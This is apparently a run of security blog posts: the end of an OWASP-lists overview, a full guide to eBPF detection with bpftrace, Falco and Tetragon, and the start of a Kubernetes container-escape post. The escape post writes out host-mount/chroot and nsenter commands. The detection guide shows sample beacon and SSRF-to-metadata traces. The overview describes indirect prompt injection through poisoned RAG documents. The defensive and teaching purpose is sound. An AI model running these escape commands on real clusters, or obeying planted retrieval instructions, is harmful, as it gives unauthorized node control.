The most dangerous attack paths cross list boundaries. An attacker who injects a prompt (LLM01) that causes an agent to call an API endpoint (API Security Top 10) that has a BOLA vulnerability is exploiting two separate OWASP lists in a single attack chain. Security reviews that only audit against one list miss these compound paths.


⚠ Production Gotchas

Auditing against one list and calling it done
Security teams often run DAST against the web layer and consider the application “OWASP covered.” If the application includes an LLM component, a vector database, and a Kubernetes deployment, the DAST scan covered at most 25% of the attack surface. Multi-list auditing is not a luxury — it’s the correct scope.

Assuming the LLM provider handles LLM security
OpenAI, Anthropic, AWS Bedrock — these providers harden their infrastructure. They do not control how you construct prompts, what you put in your system prompt, how you scope your agent’s tool access, or what you index in your vector store. LLM01 through LLM10 are almost entirely in your application’s scope, not the provider’s.

Treating RAG retrieval as a read-only, safe operation
Retrieval augmented generation adds a retrieval step that fetches content from a vector database to augment the model’s context. That retrieved content is trusted by the model — it treats it as authoritative context, not as potentially hostile user input. If an attacker can control what gets indexed (document upload, web crawl), they can inject instructions into retrieved content that the model will execute. This is LLM08 (Vector/Embedding Weaknesses) combined with LLM01 (indirect prompt injection). It is one of the most exploited compound paths in production LLM systems today.


Quick Reference: Four-List Matrix

Web App (2021) API Security (2023) Cloud-Native LLM Apps (2025)
Surface HTTP/rendered UI REST/GraphQL endpoints K8s/containers Model behavior, RAG, agents
Primary attacker Browser/web client API consumer Cluster access LLM user/document uploader
Top risk Broken access control BOLA/IDOR Misconfigured workloads Prompt injection
Key defense Input validation, RBAC Object-level authz Admission control, network policy Guardrails, output scanning
Primary test tool OWASP ZAP / Burp Postman + custom scripts Trivy, Checkov, kube-bench Garak, PyRIT, Promptfoo
Compliance tie-in PCI DSS, HIPAA API gateway policies CIS K8s Benchmark NIST AI RMF, ISO 42001, EU AI Act

Framework Alignment

Framework Relevant Requirement Connection
NIST AI RMF MAP 1.5 (identify applicable risk categories) Use all four lists to scope the risk surface before mapping to NIST categories
ISO 27001:2022 A.8.25 (secure development lifecycle) Multi-list OWASP coverage maps directly to application security requirements across the SDLC
SOC 2 CC6.1 (logical access controls) BOLA (API list) and broken access control (web app list) are the primary controls relevant to SOC 2 evidence
EU AI Act Art. 9 (risk management) High-risk AI system assessments must address model-layer risks (LLM list) in addition to infrastructure-layer controls

Key Takeaways

  • Four OWASP lists exist in 2025; which one applies depends on which component of your architecture you are assessing — most production LLM systems are in scope for all four
  • The word “injection” appears in all four lists; the technique and the defense are completely different in each
  • RAG-based applications are particularly exposed to compound attack paths that cross list boundaries — a single exploit chain can touch LLM01, LLM08, and API BOLA in sequence
  • Security reviews scoped to one OWASP list on a multi-layer system leave architectural gaps; the attack paths that matter often run between the lists
  • LLM providers handle model infrastructure security; your application’s scope includes everything from how you construct prompts to what you put in the vector store

What’s Next

The next episode is the bridge. Four lists exist, but the LLM list is not just “web app security applied to models.” The three classic OWASP assumptions — deterministic behavior, parseable input, enumerable permissions — break down entirely when the application is a language model. Understanding why changes how you approach everything in Parts II and III.

Why Classic OWASP Breaks Down for LLMs: The New Attack Surface →

Get EP03 in your inbox when it publishes → subscribe

Detection Engineering with eBPF: Kernel-Level Visibility for Cloud Incidents

Reading Time: 13 minutes

What is purple team securityOWASP Top 10 mapped to cloud infrastructureCloud security breaches 2020–2025Broken access control in AWSMFA fatigue attacksCI/CD secrets exposureSSRF to cloud metadataKubernetes container escapeSupply chain attack detectionCloud lateral movementDetection Engineering with eBPF


TL;DR

  • Detection engineering with eBPF addresses OWASP A09 directly: most process-level attack techniques leave no trace in CloudTrail, VPC Flow Logs, or syslog — eBPF hooks in the kernel observe them before the attacker has any ability to suppress the record
  • CloudTrail is API-plane only; VPC Flow Logs are network-plane only with a 15-minute aggregation delay and no process context; syslog captures only what userspace processes voluntarily emit — all three miss the OS-level attack surface entirely
  • eBPF attaches to kernel syscall tracepoints and kprobes to capture connect(), execve(), mount(), setuid(), and open() with full context: PID, process name, container cgroup, parent process, timestamp — in real time
  • Falco and Tetragon are the production-grade always-on options; bpftrace is the ad-hoc investigation tool — use each for what it is designed for
  • Tetragon’s TracingPolicy can kill a process at the moment of the violating syscall, before the attack completes — this is enforcement, not just alerting
  • Every attack in EP07 through EP10 has a detectable kernel-level signal; this episode maps each one to a concrete eBPF detection rule

OWASP Mapping: A09 Security Logging and Monitoring Failures — the structural gap this series has referenced from EP04 onward: attacks that succeed not because defenses are absent, but because the telemetry layer cannot see the OS surface where the attacks execute.


The Big Picture

┌─────────────────────────────────────────────────────────────────────────┐
│                  DETECTION ENGINEERING WITH eBPF                        │
│                                                                         │
│   KERNEL SPACE                          USERSPACE                       │
│                                                                         │
│   syscall/kprobe hooks                                                  │
│   ┌──────────────────┐                                                  │
│   │ connect()        │──▶ ring buffer ──▶ Tetragon ──▶ Hubble/SIEM     │
│   │ execve()         │                                                  │
│   │ mount()          │──▶ ring buffer ──▶ Falco   ──▶ Slack/PagerDuty │
│   │ setuid()         │                                                  │
│   │ open()           │──▶ perf buffer ──▶ bpftrace ──▶ stdout/log     │
│   └──────────────────┘                                                  │
│          │                                                              │
│          │  Context captured at hook:                                   │
│          │  PID · comm · cgroup (container ID) · args · timestamp      │
│          │  parent PID · network namespace · mount namespace           │
│                                                                         │
│   ═══════════════════════════════════════════════════════════           │
│   WHAT OTHER TOOLS SEE                                                  │
│   CloudTrail:     API calls only — nothing below the AWS SDK            │
│   VPC Flow Logs:  src/dst IP+port only — 15-min delay, no PID          │
│   Syslog:         What the process chose to log — attacker controls it  │
│   eBPF:           Every syscall — attacker cannot suppress it          │
│                   without kernel access                                 │
└─────────────────────────────────────────────────────────────────────────┘

Detection engineering with eBPF closes the observability gap that every previous episode in this series exploited. The SSRF in EP07 made an outbound connection to 169.254.169.254 — the EC2 metadata endpoint — from a web application process. VPC Flow Logs show that IP eventually. CloudTrail shows nothing. eBPF shows the connect() syscall with the PID, the process name, the container cgroup ID, and the timestamp, in the sub-millisecond window it occurred.


The Problem: Your SIEM Has a 15-Minute Hole

During a cloud incident response engagement, the question came up in the first hour: did this process make any outbound connections in the last 30 minutes?

Four telemetry sources, four answers:

CloudTrail: Not applicable. CloudTrail records AWS API calls. A process inside an EC2 instance making a raw TCP connection to an external IP — or to the metadata endpoint — is OS-level activity. CloudTrail has no record of it.

VPC Flow Logs: Maybe, eventually. Flow Logs aggregate at 1-minute or 10-minute intervals (configurable), then land in S3 or CloudWatch Logs with additional delay. In practice, you’re looking at 10–15 minutes before the data is queryable. The flow record contains source IP, destination IP, source port, destination port, protocol, bytes, packets — and nothing else. There is no PID. There is no process name. There is no indication of which container inside the EC2 instance made the connection. If ten pods are running on the same node, VPC Flow Logs tells you the node talked to an external IP. You don’t know which pod.

Syslog: Nothing logged. The process — a compromised web application exploited via SSRF — didn’t log the connection. It wouldn’t. Application code doesn’t emit syslog entries for every outbound connection it makes. And an attacker controlling the process would not add logging.

eBPF TC hook: Every TCP connection attempt, from the moment it entered the network stack, with PID, process name, container cgroup ID, destination IP, destination port, source IP, and timestamp — in real time, with zero delay.

That is the gap. Everything in EP04 through EP10 of this series lived in it.

The OWASP A09 framing is exactly right: these are not failures of detection rules, they are failures of the telemetry layer. You cannot write a SIEM rule for data that is never collected. eBPF collects the data that the other layers structurally cannot.


What eBPF Detects That Other Tools Miss

Technique CloudTrail VPC Flow Logs Syslog eBPF
Process spawn inside container No No Maybe (if auditd configured) Yes — execve(): PID, command, args, parent PID, container cgroup
Outbound TCP connection No IP+port, 15-min delay, no PID No connect(): IP+port+PID+comm+container, real-time
File write to /etc/passwd No No No openat()+write(): exact path, PID, comm, container
Privilege escalation (setuid/setgid) No No Maybe (auditd) Yes — setuid() syscall args: target UID, calling PID, comm
Container escape attempt via mount No No No mount(): args, mount namespace ID, calling PID — namespace mismatch detectable
SSRF to 169.254.169.254 No IP only, 15-min delay No connect() from app process to metadata IP — PID, comm, container, real-time
Binary execution with unusual parent No No No execve(): full parent chain — detects shell spawned from web process
Kubernetes secret file read No No No openat() on /run/secrets/kubernetes.io/serviceaccount/token
STS credential fetch from Lambda No Endpoint IP only No connect() to sts.amazonaws.com from unexpected process

The pattern across the table is consistent: CloudTrail covers the AWS control plane. VPC Flow Logs cover the network plane with delay and no process context. Syslog covers what processes choose to emit. eBPF covers the syscall surface — the layer where every one of these events must pass, regardless of what the attacker wants.

For operators not writing eBPF: This table tells you what your current SIEM can and cannot see. If your threat model includes container escapes, SSRF-to-metadata attacks, or post-compromise lateral movement through process execution, the detection signal for those techniques does not exist in your CloudTrail or your flow logs. It exists only at the kernel level.


Detection Rule 1: Unexpected Outbound from an Application Container

The SSRF attack in EP07 — and the lateral movement in EP10 — both required an outbound TCP connection from a process that had no legitimate reason to make one. This is the detection.

Ad-hoc investigation with bpftrace

When you’re on a node right now and need to know what’s connecting outbound:

# Shows PID, process name, and destination IP in real time
# Run on the node (requires root or CAP_BPF)
bpftrace -e '
#include <linux/socket.h>
#include <linux/in.h>

tracepoint:syscalls:sys_enter_connect {
  $sa = (struct sockaddr_in *)args->uservaddr;
  if ($sa->sin_family == AF_INET) {
    printf("connect: pid=%-6d comm=%-20s dst=%s:%d\n",
           pid,
           comm,
           ntop($sa->sin_addr.s_addr),
           (uint16)bswap($sa->sin_port));
  }
}
'

Sample output — what you’d see during an SSRF exploit targeting the EC2 metadata service:

connect: pid=18422  comm=python3              dst=169.254.169.254:80
connect: pid=18422  comm=python3              dst=169.254.169.254:80
connect: pid=18432  comm=curl                 dst=169.254.169.254:80

The python3 process — your web application — connecting to 169.254.169.254 is the metadata endpoint. That’s not a legitimate application dependency. That’s the SSRF signal.

bpftrace — kernel answers in one line goes deep on the tracepoint/kprobe model and how to filter by cgroup for container-specific traces. The one-liners above are the starting point; that post covers building targeted investigation scripts.

Production-grade enforcement with Tetragon

bpftrace is for investigation. Tetragon is for always-on detection — and optionally, prevention.

# TracingPolicy: alert on outbound connections from non-host network namespaces
# (any container making outbound TCP connections)
apiVersion: cilium.io/v1alpha1
kind: TracingPolicy
metadata:
  name: "detect-outbound-connections"
spec:
  kprobes:
  - call: "tcp_connect"
    syscall: false
    args:
    - index: 0
      type: "sock"
    selectors:
    - matchNamespaces:
      - namespace: Net
        operator: NotIn
        values:
        - "host"
      matchActions:
      - action: Post   # Generate an alert event; change to Sigkill to prevent

To detect specifically the SSRF-to-metadata pattern — connections to 169.254.169.254:

apiVersion: cilium.io/v1alpha1
kind: TracingPolicy
metadata:
  name: "detect-imds-access"
spec:
  kprobes:
  - call: "tcp_connect"
    syscall: false
    args:
    - index: 0
      type: "sock"
    selectors:
    - matchArgs:
      - index: 0
        operator: "Equal"
        values:
        - "169.254.169.254/32"
      matchActions:
      - action: Post
        rateLimit: "1/minute"

Tetragon events include process_kprobe JSON with the pod name, namespace, container ID, binary path, parent binary, and all arguments. This feeds directly into your SIEM or to Hubble’s flow log.


Detection Rule 2: Process Execution Inside a Container

A shell spawning inside a container that has no business running a shell is a post-compromise indicator. It covers the container escape setup from EP08, the supply chain implant from EP09, and any hands-on-keyboard phase after initial access.

Falco rule: shell spawned from application container

# Falco rule: detect any shell spawned in a container
# Add to /etc/falco/rules.d/purple-team.yaml
- list: shell_binaries
  items: [bash, sh, zsh, ksh, fish, tcsh, csh, dash]

- list: allowed_shell_images
  items: [
    "debug-tools",     # Your approved debug container image names
    "toolbox"
  ]

- rule: Shell Spawned in Container
  desc: >
    A shell was spawned inside a container. In application containers (web servers,
    APIs, data processors) this is almost always a post-compromise indicator.
  condition: >
    evt.type = execve and
    evt.dir = < and
    container and
    container.image.repository != "" and
    proc.name in (shell_binaries) and
    not proc.pname in (shell_binaries) and
    not container.image.repository in (allowed_shell_images) and
    not k8s.ns.name in (kube-system, kube-public)
  output: >
    Shell spawned in container
    (user=%user.name
     container=%container.name
     image=%container.image.repository
     cmd=%proc.cmdline
     parent=%proc.pname
     pod=%k8s.pod.name
     ns=%k8s.ns.name)
  priority: WARNING
  tags: [purple-team, post-compromise, container]

The proc.pname condition is the key signal: a shell spawned by a web server process (nginx, node, gunicorn, java) is a different threat than a shell spawned by another shell in a debug context. The rule above passes the second case through the allowed_shell_images exclusion; it flags the first.

Detecting the supply chain implant pattern

EP09 covered supply chain attacks where a build artifact executes unexpected binaries at runtime. The bpftrace version for ad-hoc investigation of what a specific container is executing:

# bpftrace: trace all execve() calls from processes inside a specific container
# First, find the container's cgroup ID:
# systemd-cgls | grep <pod-name>
# Or: cat /sys/fs/cgroup/unified/<cgroup-path>/cgroup.procs

bpftrace -e '
tracepoint:syscalls:sys_enter_execve {
  printf("execve: pid=%-6d ppid=%-6d comm=%-20s file=%s\n",
         pid,
         curtask->real_parent->tgid,
         comm,
         str(args->filename));
}
' 2>/dev/null | grep -v "^\[" | head -50

Sample output during a supply chain compromise scenario — unexpected binary execution from a package manager implant:

execve: pid=31204  ppid=31190  comm=node                 file=/bin/sh
execve: pid=31205  ppid=31204  comm=sh                   file=/tmp/.x/beacon
execve: pid=31206  ppid=31205  comm=beacon               file=/usr/bin/curl

The chain node → sh → /tmp/.x/beacon → curl — application process spawning a shell, which executes an unknown binary from /tmp, which runs curl — is the supply chain implant execution pattern. None of this appears in CloudTrail.


Detection Rule 3: Privilege Escalation — setuid(0) and Capability Abuse

A process calling setuid(0) to elevate to root, or setcap to acquire new capabilities, is a privilege escalation indicator. The EP08 container escape path used a setuid binary to gain root inside the container as the first step toward escaping the namespace.

bpftrace: catch setuid(0) calls in real time

# bpftrace: alert on any process calling setuid(0)
# Any process attempting to switch to UID 0
bpftrace -e '
tracepoint:syscalls:sys_enter_setuid {
  if (args->uid == 0) {
    printf("ALERT setuid(0): pid=%-6d comm=%-20s ppid=%d pcomm=%s\n",
           pid,
           comm,
           curtask->real_parent->tgid,
           str(curtask->real_parent->comm));
  }
}
tracepoint:syscalls:sys_enter_setresuid {
  if (args->ruid == 0 || args->euid == 0) {
    printf("ALERT setresuid(root): pid=%-6d comm=%-20s\n", pid, comm);
  }
}
'

Falco rule: setuid binary execution inside container

- rule: Setuid Binary Executed in Container
  desc: >
    A setuid binary was executed inside a container. Setuid binaries inside
    containers are a privilege escalation path — they run as root regardless
    of the container's user setting.
  condition: >
    evt.type = execve and
    evt.dir = < and
    container and
    proc.is_suid_exe = true
  output: >
    Setuid binary executed in container
    (binary=%proc.exepath
     user=%user.name
     container=%container.name
     pod=%k8s.pod.name
     cmd=%proc.cmdline)
  priority: ERROR
  tags: [purple-team, privilege-escalation, container]

Detection Rule 4: Container Escape Attempt via Namespace-Crossing Mount

The privileged container escape path from EP08 requires calling mount() from a container namespace to access the host filesystem. The kernel records the mount namespace of the calling process — an eBPF kprobe on mount() can detect when the caller’s mount namespace differs from the host namespace.

Tetragon policy: kill any mount from a non-host namespace

# This covers the --privileged container escape path documented in EP08
# The mount() call that crosses from container namespace to host filesystem
apiVersion: cilium.io/v1alpha1
kind: TracingPolicy
metadata:
  name: "detect-container-mount-escape"
spec:
  kprobes:
  - call: "security_sb_mount"
    syscall: false
    args:
    - index: 0
      type: "string"     # dev_name
    - index: 3
      type: "string"     # mount flags
    selectors:
    - matchNamespaces:
      - namespace: Mnt
        operator: NotIn
        values:
        - "host"
      matchArgs:
      - index: 0
        operator: "NotEqual"
        values:
        - "proc"
        - "sysfs"
        - "tmpfs"        # Common legitimate mounts in containers
      matchActions:
      - action: Sigkill
        rateLimit: "10/minute"

Start with action: Post and tune the exclusions for your environment before switching to Sigkill. See the production gotchas below.

bpftrace: ad-hoc namespace crossing investigation

# bpftrace: trace mount() calls and show the mount namespace of the caller
# Mount namespace ID of the host: read from /proc/1/ns/mnt
HOST_MNT_NS=$(readlink /proc/1/ns/mnt | grep -oP '\d+')

bpftrace -e '
#include <linux/nsproxy.h>
#include <linux/mount.h>

kprobe:__x64_sys_mount {
  $nsproxy = (struct nsproxy *)curtask->nsproxy;
  $mnt_ns_id = $nsproxy->mnt_ns->ns.inum;
  printf("mount: pid=%-6d comm=%-20s mnt_ns=%u\n",
         pid, comm, $mnt_ns_id);
}
' 2>/dev/null

Compare the mnt_ns value in output against $HOST_MNT_NS. Any mount call with a mnt_ns value other than the host’s is from inside a container. A privileged container attempting host filesystem access shows a container namespace ID.


Building a Detection Pipeline

Ad-hoc bpftrace commands answer questions during an incident. Always-on detection requires a pipeline that runs continuously, routes alerts to a durable destination, and survives pod restarts. The two production-grade options in this stack:

eBPF hooks
    │
    ├── Tetragon (always-on, Kubernetes-native)
    │       └── TracingPolicy CRDs
    │               └── JSON events → Hubble → Grafana
    │                               → SIEM (Splunk/Elastic)
    │                               → PagerDuty
    │
    └── Falco (rule-based, declarative)
            └── /etc/falco/rules.d/*.yaml
                    └── falcosidekick
                            ├── Slack
                            ├── PagerDuty
                            ├── Elasticsearch
                            └── AWS Lambda (custom response)

The TC eBPF pod-level network policy post covers how Cilium and Tetragon share the same underlying kernel attachment points — understanding TC hooks helps explain why Tetragon’s network-level policies fire at the same layer as Cilium’s NetworkPolicy enforcement.

Falco with falcosidekick: complete local testing setup

Use this to validate your Falco rules before deploying to a cluster. It routes Falco alerts to Slack in real time.

# docker-compose.yml — local Falco + falcosidekick testing
# Requires: Docker with kernel headers or eBPF driver support
version: "3.8"

services:
  falco:
    image: falcosecurity/falco-no-driver:latest
    privileged: true
    volumes:
      - /var/run/docker.sock:/host/var/run/docker.sock
      - /dev:/host/dev
      - /proc:/host/proc:ro
      - /boot:/host/boot:ro
      - /lib/modules:/host/lib/modules:ro
      - /usr:/host/usr:ro
      - /etc/falco:/etc/falco
      - ./rules:/etc/falco/rules.d:ro
    environment:
      FALCO_GRPC_ENABLED: "true"
      FALCO_GRPC_BIND_ADDRESS: "0.0.0.0:5060"
    ports:
      - "5060:5060"
    command: >
      /usr/bin/falco
        --modern-bpf
        -o "json_output=true"
        -o "grpc.enabled=true"
        -o "grpc_output.enabled=true"

  falcosidekick:
    image: falcosecurity/falcosidekick:latest
    depends_on:
      - falco
    environment:
      FALCO_GRPC_CONN: "falco:5060"
      FALCO_GRPC_TLS: "false"
      SLACK_WEBHOOKURL: "${SLACK_WEBHOOK}"
      SLACK_MINIMUMPRIORITY: "warning"
      SLACK_MESSAGEFORMAT: >
        "[{{.Priority}}] {{.Rule}}
        | pod={{.OutputFields.k8s_pod_name}}
        | ns={{.OutputFields.k8s_ns_name}}
        | cmd={{.OutputFields.proc_cmdline}}"
    ports:
      - "2801:2801"
# Start the stack (set SLACK_WEBHOOK first)
export SLACK_WEBHOOK="https://hooks.slack.com/services/YOUR/WEBHOOK/URL"
docker compose up -d

# Trigger a test alert: exec into any running container
docker exec -it <any-container> /bin/sh

# Check falcosidekick received it
curl -s http://localhost:2801/metrics | grep falcosidekick_inputs_total

Deploying Falco to Kubernetes with Helm

# Add Falco Helm repo
helm repo add falcosecurity https://falcosecurity.github.io/charts
helm repo update

# Install Falco with eBPF driver (not kernel module — required in Kubernetes)
helm install falco falcosecurity/falco \
  --namespace falco \
  --create-namespace \
  --set driver.kind=modern_ebpf \
  --set falcosidekick.enabled=true \
  --set falcosidekick.config.slack.webhookurl="${SLACK_WEBHOOK}" \
  --set falcosidekick.config.slack.minimumpriority=warning \
  --set customRules."purple-team\.yaml"="$(cat ./rules/purple-team.yaml)"

# Verify Falco pods are running on all nodes
kubectl get pods -n falco -o wide

# Tail Falco logs for a specific node's pod
kubectl logs -n falco -l app.kubernetes.io/name=falco -f
# Validate a specific rule is loaded
kubectl exec -n falco <falco-pod> -- falco --list-rules 2>/dev/null | grep "Shell Spawned"

What This Means for Each Prior Attack

Every attack in EP07 through EP10 had a detectable kernel-level signal that the standard telemetry stack missed. Here’s the detection mapping:

Episode Attack What Standard Telemetry Missed eBPF Detection Signal
EP07 SSRF to EC2 IMDS CloudTrail: nothing. VPC Flow Logs: 169.254.169.254 destination, 15-min delay, no PID TC kprobe: connect() to 169.254.169.254 from app process — PID, comm, container, real-time
EP08 Container escape via privileged mount CloudTrail: nothing. Syslog: nothing kprobe: security_sb_mount() from non-host mount namespace — namespace ID mismatch fires alert
EP09 Supply chain implant execution CloudTrail: nothing (OS-level). GuardDuty: maybe if beacon calls AWS APIs kprobe: execve() with anomalous parent chain — web process → shell → unknown binary from /tmp
EP10 Lateral movement via cross-account role chaining CloudTrail: AssumeRole events present but no process context TC hook: connect() to sts.amazonaws.com from Lambda handler process — unexpected process identity

The table is not theoretical. It reflects what you would actually observe running these detection rules against the attack simulations in those episodes.

For the SSRF case (EP07): the connection to 169.254.169.254 from the web application process would fire within milliseconds of the exploit. VPC Flow Logs would record the same IP 10–15 minutes later, with no information about which process made it. By the time the flow log is queryable, the attacker has the IAM credentials and may have made subsequent API calls in a different region.

For the container escape (EP08): the mount() from a non-host mount namespace is the earliest detectable signal of the escape attempt. It fires before the attacker has host filesystem access. With action: Sigkill in the Tetragon policy, the process is terminated at this syscall — the escape does not complete.


⚠ Production Gotchas

Use the eBPF driver for Falco in Kubernetes, not the kernel module. The kernel module requires installing a kernel module on every node, which creates a dependency on kernel headers being present and compatible. The modern_ebpf driver (Falco 0.35+) uses BTF and CO-RE — it works on kernels 5.8+ without kernel module installation and survives kernel upgrades. In managed Kubernetes (EKS, GKE, AKS), the kernel module path often doesn’t work at all due to the OS image restrictions.

Test Tetragon’s Sigkill action exhaustively before enabling it in production. The Sigkill action terminates the process at the moment of the violating syscall — before it completes. This is powerful for prevention but catastrophic if your exclusions are wrong. Common false positive sources: debug containers (kubectl debug), init containers that perform legitimate mounts, Kubernetes admission webhooks calling shell scripts. Always deploy with action: Post first, tune for two weeks of normal traffic, then switch to Sigkill only on rules with zero false positives in your environment.

bpftrace is an investigation tool, not a production detector. bpftrace compiles and loads an eBPF program per invocation — it has no persistence, no alerting, and no output routing to your SIEM. It is for the incident response scenario described in the opening: “did this process make outbound connections in the last 30 minutes?” (answered: it’s what’s happening right now). For always-on detection, use Tetragon or Falco. Running bpftrace as a daemon substitute introduces overhead without the management plane that production tools provide.

The shell-in-container rule will fire on kubectl exec sessions. Any time an operator runs kubectl exec -it <pod> -- /bin/bash, the Falco rule above triggers. This is working as intended — kubectl exec is a post-compromise technique as well as an operational tool. Handle this with an exclusion on the user identity or namespace:

# Add to the rule condition to exclude operator kubectl exec sessions
# Map your cluster admin users or service account here
and not user.name in (cluster-admin-users)
and not k8s.ns.name in (ops-tooling, debug-ns)

High-frequency kprobes on hot paths add measurable overhead. Attaching to tcp_connect fires on every outbound connection from every process on the node. On a node handling hundreds of microservices with high connection rates (service mesh with short-lived connections), this adds CPU overhead. Profile before deploying. Tetragon’s namespace-scoped selectors (matchNamespaces: NotHost) help by skipping host-namespace processes. Filter as narrowly as your threat model allows.

Ring buffer overflow silently drops events on high-throughput nodes. Both Falco and bpftrace use kernel ring buffers to pass events to userspace. If the userspace consumer (the Falco daemon, the bpftrace process) cannot keep up with the event rate, the kernel drops events silently. Falco exposes a falco_events_dropped_total metric — monitor it. Tune ring_buffer_size in the Falco configuration if drops occur on high-throughput nodes.


Quick Reference

Use Case Tool Hook Type Detection Latency
Ad-hoc outbound connection investigation bpftrace tracepoint:syscalls:sys_enter_connect Real-time
Always-on container shell detection Falco eBPF modern driver / syscall < 100ms
Container escape prevention Tetragon + Sigkill kprobe: security_sb_mount Blocking (pre-completion)
Privilege escalation detection Falco / bpftrace tracepoint:syscalls:sys_enter_setuid Real-time
Supply chain implant execution Falco execve rule eBPF modern driver < 100ms
SSRF-to-metadata detection Tetragon kprobe kprobe: tcp_connect Real-time
Lateral movement via unexpected STS call Tetragon kprobe kprobe: tcp_connect + process filter Real-time
Audit trail for incident response Tetragon JSON events kprobe / tracepoint Persistent, SIEM-routable
Tool Best For Not For
bpftrace Ad-hoc node investigation during IR Always-on production detection
Falco Rule-based behavioral detection Network-layer enforcement
Tetragon Always-on detection + optional enforcement Ad-hoc one-liner investigation

Key Takeaways

  • Detection engineering with eBPF closes the telemetry gap that CloudTrail, VPC Flow Logs, and syslog cannot close: OS-level process activity is only visible at the kernel syscall layer, and eBPF is the only production-grade mechanism that reads it without kernel module risk
  • Every attack in EP07 through EP10 has a real-time kernel-level signal — SSRF connections, container mount calls, unexpected execve chains, privilege escalation attempts — none of which appear in your current SIEM unless you’ve built this layer
  • Falco provides declarative, rule-based behavioral detection; Tetragon provides syscall-level enforcement that can terminate an attack before it completes — use both with complementary scopes
  • bpftrace is the incident response tool for asking the kernel a direct question right now; it is not a monitoring agent and should not be treated as one
  • The false positive problem is real and must be addressed before enabling enforcement: kubectl exec, debug containers, init containers with legitimate mounts — exclusions must be tuned per environment before moving from action: Post to action: Sigkill

What’s Next

EP11 closed the detection gap. You’ve instrumented the kernel, you’re receiving Falco alerts, Tetragon is firing on namespace-crossing mount attempts. Then the alert fires at 2:47 AM on a Sunday — not a test, not a false positive. Something got in.

EP12 is the playbook for the first 24 hours after a confirmed cloud breach: what to isolate and how without destroying forensic evidence, what to preserve before it rotates out of CloudTrail’s 90-day window, what eBPF data to capture while the node is still live, who to call and in what order, and how to avoid the common mistakes that turn a containable incident into a regulatory event. The response phase — where everything you built in EP04 through EP11 either pays off or reveals what you missed.

Get EP12 in your inbox when it publishes → subscribe at linuxcent.com

Kubernetes Container Escape: Attack Paths and eBPF Detection

Reading Time: 17 minutes

What is purple team securityOWASP Top 10 mapped to cloud infrastructureCloud security breaches 2020–2025Broken access control in AWSMFA fatigue attacksCI/CD secrets exposureSSRF to cloud metadataKubernetes Container Escape


TL;DR

  • Kubernetes container escape is OWASP A04 + A05: a container deployed with --privileged, hostPID, or hostNetwork is not meaningfully isolated from the host — two commands can produce a root shell on the node
  • The kernel does not enforce Kubernetes namespace semantics. Container isolation comes from Linux namespaces, cgroups, and seccomp. --privileged removes those boundaries — the kernel sees no difference between the container and the host
  • Three primary escape paths: privileged container with host device access, hostPID + nsenter, and runc CVEs (CVE-2019-5736) that allow a malicious container to overwrite the runc binary during exec
  • Detection requires kernel-level visibility: Falco fires on privilege container exec; Tetragon traces nsenter and mount syscalls at the point of the kernel hook, not a process name check that can be evaded
  • The structural fix is PodSecurity admission enforcing the Restricted profile at the namespace level — policy that blocks --privileged, hostPID, hostNetwork, and mounts before a pod ever schedules
  • Network policy as a secondary layer: even if a container escapes to the node, a network policy that blocks the escaped process from reaching the Kubernetes API server limits lateral movement to the cluster control plane

OWASP Mapping: A04 Insecure Design — --privileged placed in production workloads because the development environment never enforced boundaries. A05 Security Misconfiguration — absence of PodSecurity admission, RuntimeClass, and seccomp profiles.


The Big Picture

┌─────────────────────────────────────────────────────────────────────────┐
│              KUBERNETES CONTAINER ESCAPE — ATTACK SURFACE               │
│                                                                         │
│  ┌──────────────────────────────────────────────────────────────┐       │
│  │                     KUBERNETES NODE                          │       │
│  │                                                              │       │
│  │  ┌───────────────────────────────────────────────────────┐   │       │
│  │  │  Container (--privileged)                             │   │       │
│  │  │                                                       │   │       │
│  │  │  web app ──▶ exploit ──▶ shell in container          │   │       │
│  │  │                           │                           │   │       │
│  │  │  PATH 1: mount /dev/sda1  │                           │   │       │
│  │  │  ──────────────────────── ▼                           │   │       │
│  │  │  chroot /mnt/host → root shell on node                │   │       │
│  │  └───────────────────────────────────────────────────────┘   │       │
│  │                                                              │       │
│  │  ┌───────────────────────────────────────────────────────┐   │       │
│  │  │  Container (hostPID=true)                             │   │       │
│  │  │                                                       │   │       │
│  │  │  PATH 2: nsenter -t 1 -m -u -i -n -p -- bash         │   │       │
│  │  │  ─────────────────────────────────────────────────▶   │   │       │
│  │  │           root shell in host PID 1 namespaces         │   │       │
│  │  └───────────────────────────────────────────────────────┘   │       │
│  │                                                              │       │
│  │  ┌───────────────────────────────────────────────────────┐   │       │
│  │  │  Container (runc CVE)                                 │   │       │
│  │  │                                                       │   │       │
│  │  │  PATH 3: overwrite /proc/self/exe during runc exec    │   │       │
│  │  │  ─────────────────────────────────────────────────▶   │   │       │
│  │  │           arbitrary code execution as root on node    │   │       │
│  │  └───────────────────────────────────────────────────────┘   │       │
│  │                                                              │       │
│  │  Node root → kubectl access → cluster-admin via node creds  │       │
│  └──────────────────────────────────────────────────────────────┘       │
│                                                                         │
│  DETECTION LAYER        │  STRUCTURAL FIX                               │
│  Falco / Tetragon       │  PodSecurity Restricted                       │
│  mount syscall hooks    │  RuntimeClass (gVisor/Kata)                   │
│  audit logs             │  Seccomp + no-new-privileges                  │
└─────────────────────────────────────────────────────────────────────────┘

Kubernetes container escape is the point where a compromised application pod becomes a compromised Kubernetes node — and from a node, an attacker reaches the kubelet credential, the node’s service account, and often a path to cluster-admin. The boundary between container and host is not the Kubernetes API. It is Linux namespaces, cgroups, and seccomp. When you remove those with --privileged, you remove the boundary.


The Incident: –privileged “Just for Debugging”

A networking issue in staging. The developer can’t get the CNI tracing they need from inside the normal container. Someone adds --privileged: true to the pod spec to expose /sys/class/net and the raw packet socket. The PR merges. The staging deployment works. The --privileged flag stays in the manifest when staging gets promoted to production.

Six months later, the web application running in that pod has an RCE vulnerability. The attacker gets a shell.

Inside the container, two commands:

mkdir /mnt/host
mount /dev/sda1 /mnt/host
chroot /mnt/host /bin/bash

Root on the node. Not escalation through a kernel exploit. Not a zero-day. Just mounting the device that was always accessible because --privileged was set.

The node has a kubelet credential and a service account token with broader permissions than the compromised application ever needed. From the node, lateral movement into the cluster control plane is a matter of using credentials that are already there.

This is A04 (Insecure Design) and A05 (Security Misconfiguration) combined: the design didn’t account for what happens when the boundary is removed, and no enforcement mechanism prevented the configuration from reaching production.


Why the Kernel Doesn’t Know About Kubernetes

Kubernetes namespaces are a scheduler and API concept. When you create a Kubernetes namespace and apply RBAC to it, you are controlling what the Kubernetes API server will accept — you are not creating a kernel isolation boundary between workloads in different namespaces.

Kernel isolation comes from:

Linux namespaces (PID, net, mount, IPC, UTS, user)
  ├── Created by container runtime (containerd, crio)
  ├── Container processes run inside these namespaces
